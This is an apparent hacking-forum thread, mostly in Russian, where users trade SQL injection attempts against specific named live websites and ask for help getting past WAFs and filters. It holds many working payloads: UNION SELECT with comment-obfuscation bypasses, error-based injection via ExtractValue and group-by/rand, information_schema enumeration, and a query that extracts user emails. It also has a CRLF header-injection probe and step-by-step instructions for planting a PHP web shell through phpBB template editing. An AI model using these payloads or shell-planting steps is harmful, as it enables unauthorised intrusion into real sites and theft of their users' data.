Ваши вопросы по уязвимостям.

нет.

 

Sorry for bringing back WAF topic.

I have read all articles on SQL Injection in antichat so don't think should be given again.

Code:

http://www.worldstyling.com/web/product_detail.php?id=-95/*!UnIoN+SeLeCt*/1,2,3,4,5+--+

Once I want to get union it tells Not Found, Not Found.

 

www.allaboutjazz.com/php/article_archive.php'

как раскрутить? Использование пробелов в корне запрещено

www.allaboutjazz.com/php/article_archive.php'or(ExtractValue(1,concat(0x3a,version())))='1
пишет FUNCTION allaboutjazz.ExtractValue does not exist

какие еще могут быть варианты?

 

Code:

http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+

tried all WAF solution, nothing comes.

And also, checked souurce.

 

http://www.worldstyling.com/web/product_detail.php?id=95'+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+

 

Народ, что это ?

Code:

http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs

 

acunetix

 

Что с этим можно сделать ?

 

SomeCustomInjectedHeader

переведи и подумай...

 

Шелл получится залить ?

 

PHP:

http://www.gospelmp3.ru/artists/?id=-39%27+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13+from+information_schema.columns+where+table_name=0x7061676573--+

Почему не выводит колонки?? (вывод дполжен быть в титле)

 

Похоже на то что where фильтруется, можешь попорбывать крутить так:

Code:

http://www.gospelmp3.ru/news/?id=-115+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,table_name,column_name%29,9,10,11,12,13,14,15+from+information_schema.columns+limit+1,1--&n_action=read

перебирая лимит пока не найдешь то что нужно, руками конечно муторно но думаю накидать скриптик который сдампит структуру не проблема.

 

есть досьуп к админке на движке phpbb, могу править шаблоны, как залить туда шелл?? какой код вставить?

 

Откройте Администраторский раздел => Общие => Безопасность
Разрешите php в шаблонах и сохраните настройки
Откройте Администраторский раздел => Стили => Шаблоны
Напортив активного шаблона нажмите "Изменить"
Выберите файл шаблона, в который хотите вставить php, например "overall_footer.html"
В нужное место вставьте <?php ..... ?>

 

как то криво все встает, и допустим я закачаю шелл потом на форум и гдде он будет лежать?

 

правь шаблон фака..на форуме он будет forum.com/faq.php

 

Code:

http://eafangames.com/live_score_tennis.php/flash_games_online.php
?channel=76'%00 order by 1--

в чём проблемма не могу понять!подскажите!

 

Я правил его, тоже ничего не получается(( дайте пжл мне пшп код в пм)

 

Code:

http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76'%29+union+select+@@version--%201#inscore_ifheight_xdc_500

Done!

 

Подскажите, почему не выводит данные из таблицы?

PHP:

http://english.in.ua/contacts.php?id=8+or+1+group+by+concat%28%28select+email+from+acc_users+limit+12,1%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+#